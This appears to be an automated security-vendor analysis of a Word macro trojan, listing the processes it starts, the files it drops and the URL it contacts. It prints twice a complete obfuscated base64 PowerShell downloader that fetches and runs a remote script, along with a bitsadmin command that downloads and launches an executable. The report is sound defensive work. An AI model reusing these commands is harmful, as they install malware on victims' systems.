Trojan.W97M.POWLOAD.THJAEAI

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'aWYoKChHZXQtVUlDdWx0dXJlKS5OYW1lIC1tYXRjaCAiQ058Uk98UlV8VUF8QlkiKSAtb3IgKChHZXQtV21pT2JqZWN0IC1jbGFzcyBXaW4zMl9Db21wdXRlclN5c3RlbSAtUHJvcGVydHkgTW9kZWwpLk1vZGVsIC1tYXRjaCAiVmlydHVhbEJveHxWTXdhcmV8S1ZNfEhWTSIpKXtleGl0O307OyR6eXdpd2h6PSIiOzM2LDEwNiwxMDYsMTE1LDEwNCwxMjAsMTIxLDk3LDk3LDYxLDc0LDExMSwxMDUsMTEwLDQ1LDgwLDk3LDExNiwxMDQsMzIsMzYsMTAxLDExMCwxMTgsNTgsMTE2LDEwMSwxMDksMTEyLDMyLDM0LDY1LDExNCwxMDksMTE1LDExOCw1NCw1Miw0NiwxMDEsMTIwLDEwMSwzNCw1OSwxMTYsMTE0LDEyMSwxMjMsMzYsMTA2LDEwNiwxMTUsMTA0LDEyMCwxMjEsOTcsOTcsNjEsNzQsMTExLDEwNSwxMTAsNDUsODAsOTcsMTE2LDEwNCwzMiwzNiwxMDEsMTEwLDExOCw1OCwxMTYsMTAxLDEwOSwxMTIsMzIsMzQsODQsMTE4LDk1LDEyMCw1NCw1MiwxMjAsNTEsNTAsNDYsMTAxLDEyMCwxMDEsMzQsNTksOTgsMTA1LDExNiwxMTUsOTcsMTAwLDEwOSwxMDUsMTEwLDQ2LDEwMSwxMjAsMTAxLDMyLDQ3LDExNiwxMTQsOTcsMTEwLDExNSwxMDIsMTAxLDExNCwzMiwzNCwxMDMsMTIwLDExOSwxMDUsMTIwLDM0LDMyLDEwNCwxMTYsMTE2LDExMiw1OCw0Nyw0NywxMDQsMTExLDEwOSwxMDEsNDYsMTE2LDEwNSwxMTYsMTA0LDQ2LDEwNSwxMTAsNDcsMTE1LDEwMSwxMTgsMTAxLDExMCw0NiwxMTUsOTcsMTE2LDYzLDExOSw5OCwxMDMsOTgsMTA0LDEwNCwxMTcsMTE2LDMyLDM2LDEwNiwxMDYsMTE1LDEwNCwxMjAsMTIxLDk3LDk3LDU5LDgzLDExNiw5NywxMTQsMTE2LDQ1LDgwLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMzIsMzYsMTA2LDEwNiwxMTUsMTA0LDEyMCwxMjEsOTcsOTcsNTksMTI1LDk5LDk3LDExNiw5OSwxMDQsMTIzLDEyNSw1OSw1M3wleyR6eXdpd2h6Kz1bY2hhcl0kXzs7fTtpZXggJHp5d2l3aHo7JHN4aHVkPUpvaW4tUGF0aCAkZW52OlB1YmxpYyAiXExpYnJhcmllc1xXaW5kb3dzSW5kZXhpbmdTZXJ2aWNlLmpzIjt0cnl7KE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly9iZXRhLm1hZGVpbnRheWxvcnMuY29tLz9uZWVkPThlNWMmdmlkPXBpdDE0JmVpZHZhdSIpfG91dC1maWxlICRzeGh1ZDtTdGFydC1Qcm9jZXNzICRzeGh1ZDt9Y2F0Y2h7fTs7' ) );iex $a;
• powershell $a = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'aWYoKChHZXQtVUlDdWx0dXJlKS5OYW1lIC1tYXRjaCAiQ058Uk98UlV8VUF8QlkiKSAtb3IgKChHZXQtV21pT2JqZWN0IC1jbGFzcyBXaW4zMl9Db21wdXRlclN5c3RlbSAtUHJvcGVydHkgTW9kZWwpLk1vZGVsIC1tYXRjaCAiVmlydHVhbEJveHxWTXdhcmV8S1ZNfEhWTSIpKXtleGl0O307OyR6eXdpd2h6PSIiOzM2LDEwNiwxMDYsMTE1LDEwNCwxMjAsMTIxLDk3LDk3LDYxLDc0LDExMSwxMDUsMTEwLDQ1LDgwLDk3LDExNiwxMDQsMzIsMzYsMTAxLDExMCwxMTgsNTgsMTE2LDEwMSwxMDksMTEyLDMyLDM0LDY1LDExNCwxMDksMTE1LDExOCw1NCw1Miw0NiwxMDEsMTIwLDEwMSwzNCw1OSwxMTYsMTE0LDEyMSwxMjMsMzYsMTA2LDEwNiwxMTUsMTA0LDEyMCwxMjEsOTcsOTcsNjEsNzQsMTExLDEwNSwxMTAsNDUsODAsOTcsMTE2LDEwNCwzMiwzNiwxMDEsMTEwLDExOCw1OCwxMTYsMTAxLDEwOSwxMTIsMzIsMzQsODQsMTE4LDk1LDEyMCw1NCw1MiwxMjAsNTEsNTAsNDYsMTAxLDEyMCwxMDEsMzQsNTksOTgsMTA1LDExNiwxMTUsOTcsMTAwLDEwOSwxMDUsMTEwLDQ2LDEwMSwxMjAsMTAxLDMyLDQ3LDExNiwxMTQsOTcsMTEwLDExNSwxMDIsMTAxLDExNCwzMiwzNCwxMDMsMTIwLDExOSwxMDUsMTIwLDM0LDMyLDEwNCwxMTYsMTE2LDExMiw1OCw0Nyw0NywxMDQsMTExLDEwOSwxMDEsNDYsMTE2LDEwNSwxMTYsMTA0LDQ2LDEwNSwxMTAsNDcsMTE1LDEwMSwxMTgsMTAxLDExMCw0NiwxMTUsOTcsMTE2LDYzLDExOSw5OCwxMDMsOTgsMTA0LDEwNCwxMTcsMTE2LDMyLDM2LDEwNiwxMDYsMTE1LDEwNCwxMjAsMTIxLDk3LDk3LDU5LDgzLDExNiw5NywxMTQsMTE2LDQ1LDgwLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMzIsMzYsMTA2LDEwNiwxMTUsMTA0LDEyMCwxMjEsOTcsOTcsNTksMTI1LDk5LDk3LDExNiw5OSwxMDQsMTIzLDEyNSw1OSw1M3wleyR6eXdpd2h6Kz1bY2hhcl0kXzs7fTtpZXggJHp5d2l3aHo7JHN4aHVkPUpvaW4tUGF0aCAkZW52OlB1YmxpYyAiXExpYnJhcmllc1xXaW5kb3dzSW5kZXhpbmdTZXJ2aWNlLmpzIjt0cnl7KE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly9iZXRhLm1hZGVpbnRheWxvcnMuY29tLz9uZWVkPThlNWMmdmlkPXBpdDE0JmVpZHZhdSIpfG91dC1maWxlICRzeGh1ZDtTdGFydC1Qcm9jZXNzICRzeGh1ZDt9Y2F0Y2h7fTs7' ) );iex $a;
• "%System%\bitsadmin.exe" /transfer gxwix http://home.{BLOCKED}h.in/seven.sat?wbgbhhut %User Temp%\Tv_x64x32.exe
• %User Temp%\Tv_x64x32.exe
• "%System%\WScript.exe" "%System Root%\Users\Public\Libraries\WindowsIndexingService.js"
• %System Root%\Users\Public\Libraries\WindowsIndexingService.js
• %System%\svchost.exe -k netsvcs

Other System Modifications

This Trojan modifies the following file(s):

• %Application Data%\Microsoft\Office\Word12.pip

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Dropping Routine

This Trojan drops the following files:

• %Application Data%\Microsoft\Office\Word12.pip
• %System Root%\Users\Public\Libraries\WindowsIndexingService.js
• %Application Data%\Microsoft\UProof\CUSTOM.DIC

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Other Details

This Trojan connects to the following possibly malicious URL:

• http://beta.{BLOCKED}taylors.com/?need=8e5c&vid=pit14&eidvau

This report is generated via an automated analysis system.